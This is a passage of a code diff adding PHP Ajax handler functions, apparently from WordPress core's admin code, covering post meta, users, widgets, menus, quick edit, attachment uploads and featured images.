+			$_POST['post_title'] = sprintf( __( 'Draft created on %1$s at %2$s' ), date( get_option( 'date_format' ), $now ), date( get_option( 'time_format' ), $now ) );
+
+			if ( $pid = edit_post() ) {
+				if ( is_wp_error( $pid ) ) {
+					$x = new WP_Ajax_Response( array(
+						'what' => 'meta',
+						'data' => $pid
+					) );
+					$x->send();
+				}
+				$_POST = $save_POST; // Now we can restore original $_POST again
+				if ( !$mid = add_meta( $pid ) )
+					wp_die( __( 'Please provide a custom field value.' ) );
+			} else {
+				wp_die( 0 );
+			}
+		} else if ( !$mid = add_meta( $pid ) ) {
+			wp_die( __( 'Please provide a custom field value.' ) );
+		}
+
+		$meta = get_metadata_by_mid( 'post', $mid );
+		$pid = (int) $meta->post_id;
+		$meta = get_object_vars( $meta );
+		$x = new WP_Ajax_Response( array(
+			'what' => 'meta',
+			'id' => $mid,
+			'data' => _list_meta_row( $meta, $c ),
+			'position' => 1,
+			'supplemental' => array('postid' => $pid)
+		) );
+	} else { // Update?
+		$mid = (int) key( $_POST['meta'] );
+		$key = wp_unslash( $_POST['meta'][$mid]['key'] );
+		$value = wp_unslash( $_POST['meta'][$mid]['value'] );
+		if ( '' == trim($key) )
+			wp_die( __( 'Please provide a custom field name.' ) );
+		if ( '' == trim($value) )
+			wp_die( __( 'Please provide a custom field value.' ) );
+		if ( ! $meta = get_metadata_by_mid( 'post', $mid ) )
+			wp_die( 0 ); // if meta doesn't exist
+		if ( is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) ||
+			! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) ||
+			! current_user_can( 'edit_post_meta', $meta->post_id, $key ) )
+			wp_die( -1 );
+		if ( $meta->meta_value != $value || $meta->meta_key != $key ) {
+			if ( !$u = update_metadata_by_mid( 'post', $mid, $value, $key ) )
+				wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
+		}
+
+		$x = new WP_Ajax_Response( array(
+			'what' => 'meta',
+			'id' => $mid, 'old_id' => $mid,
+			'data' => _list_meta_row( array(
+				'meta_key' => $key,
+				'meta_value' => $value,
+				'meta_id' => $mid
+			), $c ),
+			'position' => 0,
+			'supplemental' => array('postid' => $meta->post_id)
+		) );
+	}
+	$x->send();
+}
+
+/**
+ * Ajax handler for adding a user.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_add_user( $action ) {
+	global $wp_list_table;
+	if ( empty( $action ) )
+		$action = 'add-user';
+
+	check_ajax_referer( $action );
+	if ( ! current_user_can('create_users') )
+		wp_die( -1 );
+	if ( ! $user_id = edit_user() ) {
+		wp_die( 0 );
+	} elseif ( is_wp_error( $user_id ) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'user',
+			'id' => $user_id
+		) );
+		$x->send();
+	}
+	$user_object = get_userdata( $user_id );
+
+	$wp_list_table = _get_list_table('WP_Users_List_Table');
+
+	$role = current( $user_object->roles );
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'user',
+		'id' => $user_id,
+		'data' => $wp_list_table->single_row( $user_object, '', $role ),
+		'supplemental' => array(
+			'show-link' => sprintf(__( 'User <a href="#%s">%s</a> added' ), "user-$user_id", $user_object->user_login),
+			'role' => $role,
+		)
+	) );
+	$x->send();
+}
+
+/**
+ * Ajax handler for closed post boxes.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_closed_postboxes() {
+	check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
+	$closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed']) : array();
+	$closed = array_filter($closed);
+
+	$hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden']) : array();
+	$hidden = array_filter($hidden);
+
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( $page != sanitize_key( $page ) )
+		wp_die( 0 );
+
+	if ( ! $user = wp_get_current_user() )
+		wp_die( -1 );
+
+	if ( is_array($closed) )
+		update_user_option($user->ID, "closedpostboxes_$page", $closed, true);
+
+	if ( is_array($hidden) ) {
+		$hidden = array_diff( $hidden, array('submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu') ); // postboxes that are always shown
+		update_user_option($user->ID, "metaboxhidden_$page", $hidden, true);
+	}
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for hidden columns.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_hidden_columns() {
+	check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
+	$hidden = explode( ',', isset( $_POST['hidden'] ) ? $_POST['hidden'] : '' );
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( $page != sanitize_key( $page ) )
+		wp_die( 0 );
+
+	if ( ! $user = wp_get_current_user() )
+		wp_die( -1 );
+
+	if ( is_array($hidden) )
+		update_user_option($user->ID, "manage{$page}columnshidden", $hidden, true);
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for updating whether to display the welcome panel.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_update_welcome_panel() {
+	check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' );
+
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 );
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for retrieving menu meta boxes.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_menu_get_metabox() {
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+	if ( isset( $_POST['item-type'] ) && 'post_type' == $_POST['item-type'] ) {
+		$type = 'posttype';
+		$callback = 'wp_nav_menu_item_post_type_meta_box';
+		$items = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
+	} elseif ( isset( $_POST['item-type'] ) && 'taxonomy' == $_POST['item-type'] ) {
+		$type = 'taxonomy';
+		$callback = 'wp_nav_menu_item_taxonomy_meta_box';
+		$items = (array) get_taxonomies( array( 'show_ui' => true ), 'object' );
+	}
+
+	if ( ! empty( $_POST['item-object'] ) && isset( $items[$_POST['item-object']] ) ) {
+		$menus_meta_box_object = $items[ $_POST['item-object'] ];
+
+		/** This filter is documented in wp-admin/includes/nav-menu.php */
+		$item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object );
+		ob_start();
+		call_user_func_array($callback, array(
+			null,
+			array(
+				'id' => 'add-' . $item->name,
+				'title' => $item->labels->name,
+				'callback' => $callback,
+				'args' => $item,
+			)
+		));
+
+		$markup = ob_get_clean();
+
+		echo wp_json_encode(array(
+			'replace-id' => $type . '-' . $item->name,
+			'markup' => $markup,
+		));
+	}
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for internal linking.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_wp_link_ajax() {
+	check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' );
+
+	$args = array();
+
+	if ( isset( $_POST['search'] ) )
+		$args['s'] = wp_unslash( $_POST['search'] );
+	$args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;
+
+	require(ABSPATH . WPINC . '/class-wp-editor.php');
+	$results = _WP_Editors::wp_link_query( $args );
+
+	if ( ! isset( $results ) )
+		wp_die( 0 );
+
+	echo wp_json_encode( $results );
+	echo "\n";
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for menu locations save.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_menu_locations_save() {
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );
+	if ( ! isset( $_POST['menu-locations'] ) )
+		wp_die( 0 );
+	set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) );
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for saving the meta box order.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_meta_box_order() {
+	check_ajax_referer( 'meta-box-order' );
+	$order = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
+	$page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto';
+
+	if ( $page_columns != 'auto' )
+		$page_columns = (int) $page_columns;
+
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( $page != sanitize_key( $page ) )
+		wp_die( 0 );
+
+	if ( ! $user = wp_get_current_user() )
+		wp_die( -1 );
+
+	if ( $order )
+		update_user_option($user->ID, "meta-box-order_$page", $order, true);
+
+	if ( $page_columns )
+		update_user_option($user->ID, "screen_layout_$page", $page_columns, true);
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for menu quick searching.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_menu_quick_search() {
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+	_wp_ajax_menu_quick_search( $_POST );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler to retrieve a permalink.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_get_permalink() {
+	check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
+	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
+	wp_die( add_query_arg( array( 'preview' => 'true' ), get_permalink( $post_id ) ) );
+}
+
+/**
+ * Ajax handler to retrieve a sample permalink.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_sample_permalink() {
+	check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
+	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
+	$title = isset($_POST['new_title'])? $_POST['new_title'] : '';
+	$slug = isset($_POST['new_slug'])? $_POST['new_slug'] : null;
+	wp_die( get_sample_permalink_html( $post_id, $title, $slug ) );
+}
+
+/**
+ * Ajax handler for Quick Edit saving a post from a list table.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_inline_save() {
+	global $wp_list_table;
+
+	check_ajax_referer( 'inlineeditnonce', '_inline_edit' );
+
+	if ( ! isset($_POST['post_ID']) || ! ( $post_ID = (int) $_POST['post_ID'] ) )
+		wp_die();
+
+	if ( 'page' == $_POST['post_type'] ) {
+		if ( ! current_user_can( 'edit_page', $post_ID ) )
+			wp_die( __( 'You are not allowed to edit this page.' ) );
+	} else {
+		if ( ! current_user_can( 'edit_post', $post_ID ) )
+			wp_die( __( 'You are not allowed to edit this post.' ) );
+	}
+
+	if ( $last = wp_check_post_lock( $post_ID ) ) {
+		$last_user = get_userdata( $last );
+		$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );
+		printf( $_POST['post_type'] == 'page' ? __( 'Saving is disabled: %s is currently editing this page.' ) : __( 'Saving is disabled: %s is currently editing this post.' ),	esc_html( $last_user_name ) );
+		wp_die();
+	}
+
+	$data = &$_POST;
+
+	$post = get_post( $post_ID, ARRAY_A );
+
+	// Since it's coming from the database.
+	$post = wp_slash($post);
+
+	$data['content'] = $post['post_content'];
+	$data['excerpt'] = $post['post_excerpt'];
+
+	// Rename.
+	$data['user_ID'] = get_current_user_id();
+
+	if ( isset($data['post_parent']) )
+		$data['parent_id'] = $data['post_parent'];
+
+	// Status.
+	if ( isset($data['keep_private']) && 'private' == $data['keep_private'] )
+		$data['post_status'] = 'private';
+	else
+		$data['post_status'] = $data['_status'];
+
+	if ( empty($data['comment_status']) )
+		$data['comment_status'] = 'closed';
+	if ( empty($data['ping_status']) )
+		$data['ping_status'] = 'closed';
+
+	// Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published.
+	if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ) ) ) {
+		$post['post_status'] = 'publish';
+		$data['post_name'] = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] );
+	}
+
+	// Update the post.
+	edit_post();
+
+	$wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) );
+
+	$level = 0;
+	$request_post = array( get_post( $_POST['post_ID'] ) );
+	$parent = $request_post[0]->post_parent;
+
+	while ( $parent > 0 ) {
+		$parent_post = get_post( $parent );
+		$parent = $parent_post->post_parent;
+		$level++;
+	}
+
+	$wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for quick edit saving for a term.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_inline_save_tax() {
+	global $wp_list_table;
+
+	check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );
+
+	$taxonomy = sanitize_key( $_POST['taxonomy'] );
+	$tax = get_taxonomy( $taxonomy );
+	if ( ! $tax )
+		wp_die( 0 );
+
+	if ( ! current_user_can( $tax->cap->edit_terms ) )
+		wp_die( -1 );
+
+	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) );
+
+	if ( ! isset($_POST['tax_ID']) || ! ( $id = (int) $_POST['tax_ID'] ) )
+		wp_die( -1 );
+
+	$tag = get_term( $id, $taxonomy );
+	$_POST['description'] = $tag->description;
+
+	$updated = wp_update_term($id, $taxonomy, $_POST);
+	if ( $updated && !is_wp_error($updated) ) {
+		$tag = get_term( $updated['term_id'], $taxonomy );
+		if ( !$tag || is_wp_error( $tag ) ) {
+			if ( is_wp_error($tag) && $tag->get_error_message() )
+				wp_die( $tag->get_error_message() );
+			wp_die( __( 'Item not updated.' ) );
+		}
+	} else {
+		if ( is_wp_error($updated) && $updated->get_error_message() )
+			wp_die( $updated->get_error_message() );
+		wp_die( __( 'Item not updated.' ) );
+	}
+	$level = 0;
+	$parent = $tag->parent;
+	while ( $parent > 0 ) {
+		$parent_tag = get_term( $parent, $taxonomy );
+		$parent = $parent_tag->parent;
+		$level++;
+	}
+	$wp_list_table->single_row( $tag, $level );
+	wp_die();
+}
+
+/**
+ * Ajax handler for querying posts for the Find Posts modal.
+ *
+ * @see window.findPosts
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_find_posts() {
+	check_ajax_referer( 'find-posts' );
+
+	$post_types = get_post_types( array( 'public' => true ), 'objects' );
+	unset( $post_types['attachment'] );
+
+	$s = wp_unslash( $_POST['ps'] );
+	$args = array(
+		'post_type' => array_keys( $post_types ),
+		'post_status' => 'any',
+		'posts_per_page' => 50,
+	);
+	if ( '' !== $s )
+		$args['s'] = $s;
+
+	$posts = get_posts( $args );
+
+	if ( ! $posts ) {
+		wp_send_json_error( __( 'No items found.' ) );
+	}
+
+	$html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>'.__('Title').'</th><th class="no-break">'.__('Type').'</th><th class="no-break">'.__('Date').'</th><th class="no-break">'.__('Status').'</th></tr></thead><tbody>';
+	$alt = '';
+	foreach ( $posts as $post ) {
+		$title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' );
+		$alt = ( 'alternate' == $alt ) ? '' : 'alternate';
+
+		switch ( $post->post_status ) {
+			case 'publish' :
+			case 'private' :
+				$stat = __('Published');
+				break;
+			case 'future' :
+				$stat = __('Scheduled');
+				break;
+			case 'pending' :
+				$stat = __('Pending Review');
+				break;
+			case 'draft' :
+				$stat = __('Draft');
+				break;
+		}
+
+		if ( '0000-00-00 00:00:00' == $post->post_date ) {
+			$time = '';
+		} else {
+			/* translators: date format in table columns, see http://php.net/date */
+			$time = mysql2date(__('Y/m/d'), $post->post_date);
+		}
+
+		$html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-'.$post->ID.'" name="found_post_id" value="' . esc_attr($post->ID) . '"></td>';
+		$html .= '<td><label for="found-'.$post->ID.'">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[$post->post_type]->labels->singular_name ) . '</td><td class="no-break">'.esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ). ' </td></tr>' . "\n\n";
+	}
+
+	$html .= '</tbody></table>';
+
+	wp_send_json_success( $html );
+}
+
+/**
+ * Ajax handler for saving the widgets order.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_widgets_order() {
+	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
+
+	if ( !current_user_can('edit_theme_options') )
+		wp_die( -1 );
+
+	unset( $_POST['savewidgets'], $_POST['action'] );
+
+	// Save widgets order for all sidebars.
+	if ( is_array($_POST['sidebars']) ) {
+		$sidebars = array();
+		foreach ( $_POST['sidebars'] as $key => $val ) {
+			$sb = array();
+			if ( !empty($val) ) {
+				$val = explode(',', $val);
+				foreach ( $val as $k => $v ) {
+					if ( strpos($v, 'widget-') === false )
+						continue;
+
+					$sb[$k] = substr($v, strpos($v, '_') + 1);
+				}
+			}
+			$sidebars[$key] = $sb;
+		}
+		wp_set_sidebars_widgets($sidebars);
+		wp_die( 1 );
+	}
+
+	wp_die( -1 );
+}
+
+/**
+ * Ajax handler for saving a widget.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_save_widget() {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
+
+	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
+
+	if ( !current_user_can('edit_theme_options') || !isset($_POST['id_base']) )
+		wp_die( -1 );
+
+	unset( $_POST['savewidgets'], $_POST['action'] );
+
+	/**
+	 * Fires early when editing the widgets displayed in sidebars.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'load-widgets.php' );
+
+	/**
+	 * Fires early when editing the widgets displayed in sidebars.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'widgets.php' );
+
+	/** This action is documented in wp-admin/widgets.php */
+	do_action( 'sidebar_admin_setup' );
+
+	$id_base = $_POST['id_base'];
+	$widget_id = $_POST['widget-id'];
+	$sidebar_id = $_POST['sidebar'];
+	$multi_number = !empty($_POST['multi_number']) ? (int) $_POST['multi_number'] : 0;
+	$settings = isset($_POST['widget-' . $id_base]) && is_array($_POST['widget-' . $id_base]) ? $_POST['widget-' . $id_base] : false;
+	$error = '<p>' . __('An error has occurred. Please reload the page and try again.') . '</p>';
+
+	$sidebars = wp_get_sidebars_widgets();
+	$sidebar = isset($sidebars[$sidebar_id]) ? $sidebars[$sidebar_id] : array();
+
+	// Delete.
+	if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+
+		if ( !isset($wp_registered_widgets[$widget_id]) )
+			wp_die( $error );
+
+		$sidebar = array_diff( $sidebar, array($widget_id) );
+		$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');
+	} elseif ( $settings && preg_match( '/__i__|%i%/', key($settings) ) ) {
+		if ( !$multi_number )
+			wp_die( $error );
+
+		$_POST['widget-' . $id_base] = array( $multi_number => array_shift($settings) );
+		$widget_id = $id_base . '-' . $multi_number;
+		$sidebar[] = $widget_id;
+	}
+	$_POST['widget-id'] = $sidebar;
+
+	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+
+		if ( $name == $id_base ) {
+			if ( !is_callable( $control['callback'] ) )
+				continue;
+
+			ob_start();
+				call_user_func_array( $control['callback'], $control['params'] );
+			ob_end_clean();
+			break;
+		}
+	}
+
+	if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+		$sidebars[$sidebar_id] = $sidebar;
+		wp_set_sidebars_widgets($sidebars);
+		echo "deleted:$widget_id";
+		wp_die();
+	}
+
+	if ( !empty($_POST['add_new']) )
+		wp_die();
+
+	if ( $form = $wp_registered_widget_controls[$widget_id] )
+		call_user_func_array( $form['callback'], $form['params'] );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for saving a widget.
+ *
+ * @since 3.9.0
+ */
+function wp_ajax_update_widget() {
+	global $wp_customize;
+	$wp_customize->widgets->wp_ajax_update_widget();
+}
+
+/**
+ * Ajax handler for uploading attachments
+ *
+ * @since 3.3.0
+ */
+function wp_ajax_upload_attachment() {
+	check_ajax_referer( 'media-form' );
+	/*
+	 * This function does not use wp_send_json_success() / wp_send_json_error()
+	 * as the html4 Plupload handler requires a text/html content-type for older IE.
+	 * See https://core.trac.wordpress.org/ticket/31037
+	 */
+
+	if ( ! current_user_can( 'upload_files' ) ) {
+		echo wp_json_encode( array(
+			'success' => false,
+			'data'    => array(
+				'message'  => __( "You don't have permission to upload files." ),
+				'filename' => $_FILES['async-upload']['name'],
+			)
+		) );
+
+		wp_die();
+	}
+
+	if ( isset( $_REQUEST['post_id'] ) ) {
+		$post_id = $_REQUEST['post_id'];
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			echo wp_json_encode( array(
+				'success' => false,
+				'data'    => array(
+					'message'  => __( "You don't have permission to attach files to this post." ),
+					'filename' => $_FILES['async-upload']['name'],
+				)
+			) );
+
+			wp_die();
+		}
+	} else {
+		$post_id = null;
+	}
+
+	$post_data = isset( $_REQUEST['post_data'] ) ? $_REQUEST['post_data'] : array();
+
+	// If the context is custom header or background, make sure the uploaded file is an image.
+	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ) ) ) {
+		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'], false );
+		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
+			echo wp_json_encode( array(
+				'success' => false,
+				'data'    => array(
+					'message'  => __( 'The uploaded file is not a valid image. Please try again.' ),
+					'filename' => $_FILES['async-upload']['name'],
+				)
+			) );
+
+			wp_die();
+		}
+	}
+
+	$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );
+
+	if ( is_wp_error( $attachment_id ) ) {
+		echo wp_json_encode( array(
+			'success' => false,
+			'data'    => array(
+				'message'  => $attachment_id->get_error_message(),
+				'filename' => $_FILES['async-upload']['name'],
+			)
+		) );
+
+		wp_die();
+	}
+
+	if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
+		if ( 'custom-background' === $post_data['context'] )
+			update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );
+
+		if ( 'custom-header' === $post_data['context'] )
+			update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
+	}
+
+	if ( ! $attachment = wp_prepare_attachment_for_js( $attachment_id ) )
+		wp_die();
+
+	echo wp_json_encode( array(
+		'success' => true,
+		'data'    => $attachment,
+	) );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for image editing.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_image_editor() {
+	$attachment_id = intval($_POST['postid']);
+	if ( empty($attachment_id) || !current_user_can('edit_post', $attachment_id) )
+		wp_die( -1 );
+
+	check_ajax_referer( "image_editor-$attachment_id" );
+	include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+	$msg = false;
+	switch ( $_POST['do'] ) {
+		case 'save' :
+			$msg = wp_save_image($attachment_id);
+			$msg = wp_json_encode($msg);
+			wp_die( $msg );
+			break;
+		case 'scale' :
+			$msg = wp_save_image($attachment_id);
+			break;
+		case 'restore' :
+			$msg = wp_restore_image($attachment_id);
+			break;
+	}
+
+	wp_image_editor($attachment_id, $msg);
+	wp_die();
+}
+
+/**
+ * Ajax handler for setting the featured image.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_set_post_thumbnail() {
+	$json = ! empty( $_REQUEST['json'] ); // New-style request
+
+	$post_ID = intval( $_POST['post_id'] );
+	if ( ! current_user_can( 'edit_post', $post_ID ) )
+		wp_die( -1 );
+
+	$thumbnail_id = intval( $_POST['thumbnail_id'] );
+
+	if ( $json )
+		check_ajax_referer( "update-post_$post_ID" );
+	else
+		check_ajax_referer( "set_post_thumbnail-$post_ID" );
+
+	if ( $thumbnail_id == '-1' ) {
+		if ( delete_post_thumbnail( $post_ID ) ) {
+			$return = _wp_post_thumbnail_html( null, $post_ID );
+			$json ? wp_send_json_success( $return ) : wp_die( $return );
+		} else {
+			wp_die( 0 );
+		}
+	}
+
+	if ( set_post_thumbnail( $post_ID, $thumbnail_id ) ) {
+		$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
+		$json ? wp_send_json_success( $return ) : wp_die( $return );
+	}
+
+	wp_die( 0 );
+}
+
+/**
+ * AJAX handler for setting the featured image for an attachment.
+ *
+ * @since 4.0.0
+ *
+ * @see set_post_thumbnail()
+ */
+function wp_ajax_set_attachment_thumbnail() {
+	if ( empty( $_POST['urls'] ) || ! is_array( $_POST['urls'] ) ) {
+		wp_send_json_error();
+	}
+
+	$thumbnail_id = (int) $_POST['thumbnail_id'];
+	if ( empty( $thumbnail_id ) ) {
+		wp_send_json_error();
+	}
+
+	$post_ids = array();
+	// For each URL, try to find its corresponding post ID.
+	foreach ( $_POST['urls'] as $url ) {
+		$post_id = attachment_url_to_postid( $url );
+		if ( ! empty( $post_id ) ) {
+			$post_ids[] = $post_id;
+		}
+	}
+
+	if ( empty( $post_ids ) ) {
+		wp_send_json_error();
+	}
+
+	$success = 0;
+	// For each found attachment, set its thumbnail.
+	foreach ( $post_ids as $post_id ) {
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			continue;
+		}
+
+		if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
+			$success++;
+		}
+	}
+
+	if ( 0 === $success ) {
+		wp_send_json_error();
+	} else {
+		wp_send_json_success();
+	}
+
+	wp_send_json_error();
+}
+
+/**
+ * Ajax handler for date formatting.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_date_format() {
+	wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
+}
+
+/**
+ * Ajax handler for time formatting.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_time_format() {
+	wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
+}
+
+/**
+ * Ajax handler for saving posts from the fullscreen editor.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_wp_fullscreen_save_post() {
+	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;
+
+	$post = null;
+
+	if ( $post_id )
+		$post = get_post( $post_id );
+
+	check_ajax_referer('update-post_' . $post_id, '_wpnonce');
+
+	$post_id = edit_post();
+
+	if ( is_wp_error( $post_id ) ) {
+		wp_send_json_error();
+	}
+
+	if ( $post ) {
+		$last_date = mysql2date( get_option('date_format'), $post->post_modified );
+		$last_time = mysql2date( get_option('time_format'), $post->post_modified );
+	} else {
+		$last_date = date_i18n( get_option('date_format') );
+		$last_time = date_i18n( get_option('time_format') );
+	}
+
+	if ( $last_id = get_post_meta( $post_id, '_edit_last', true ) ) {
+		$last_user = get_userdata( $last_id );
+		$last_edited = sprintf( __('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), $last_date, $last_time );
+	} else {
+		$last_edited = sprintf( __('Last edited on %1$s at %2$s'), $last_date, $last_time );
+	}
+
+	wp_send_json_success( array( 'last_edited' => $last_edited ) );
+}
+
+/**
+ * Ajax handler for removing a post lock.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_wp_remove_post_lock() {
+	if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) )
+		wp_die( 0 );
+	$post_id = (int) $_POST['post_ID'];
+	if ( ! $post = get_post( $post_id ) )
+		wp_die( 0 );
+
+	check_ajax_referer( 'update-post_' . $post_id );
+
+	if ( ! current_user_can( 'edit_post', $post_id ) )
+		wp_die( -1 );
+
+	$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );
+	if ( $active_lock[1] != get_current_user_id() )
+		wp_die( 0 );
+
+	/**
+	 * Filter the post lock window duration.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int $interval The interval in seconds the post lock duration
+	 *                      should last, plus 5 seconds. Default 150.
+	 */
+	$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
+	update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for dismissing a WordPress pointer.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_dismiss_wp_pointer() {
+	$pointer = $_POST['pointer'];
+	if ( $pointer != sanitize_key( $pointer ) )
+		wp_die( 0 );
+
+//	check_ajax_referer( 'dismiss-pointer_' . $pointer );
+
+	$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );
+
+	if ( in_array( $pointer, $dismissed ) )
+		wp_die( 0 );
+
+	$dismissed[] = $pointer;
+	$dismissed = implode( ',', $dismissed );
+
+	update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for getting an attachment.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_get_attachment() {
+	if ( ! isset( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( ! $id = absint( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( ! $post = get_post( $id ) )
+		wp_send_json_error();
+
+	if ( 'attachment' != $post->post_type )
+		wp_send_json_error();
+
+	if ( ! current_user_can( 'upload_files' ) )
+		wp_send_json_error();
+
+	if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
+		wp_send_json_error();
+
+	wp_send_json_success( $attachment );
+}
+
+/**
+ * Ajax handler for querying attachments.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_query_attachments() {
+	if ( ! current_user_can( 'upload_files' ) )
+		wp_send_json_error();
+
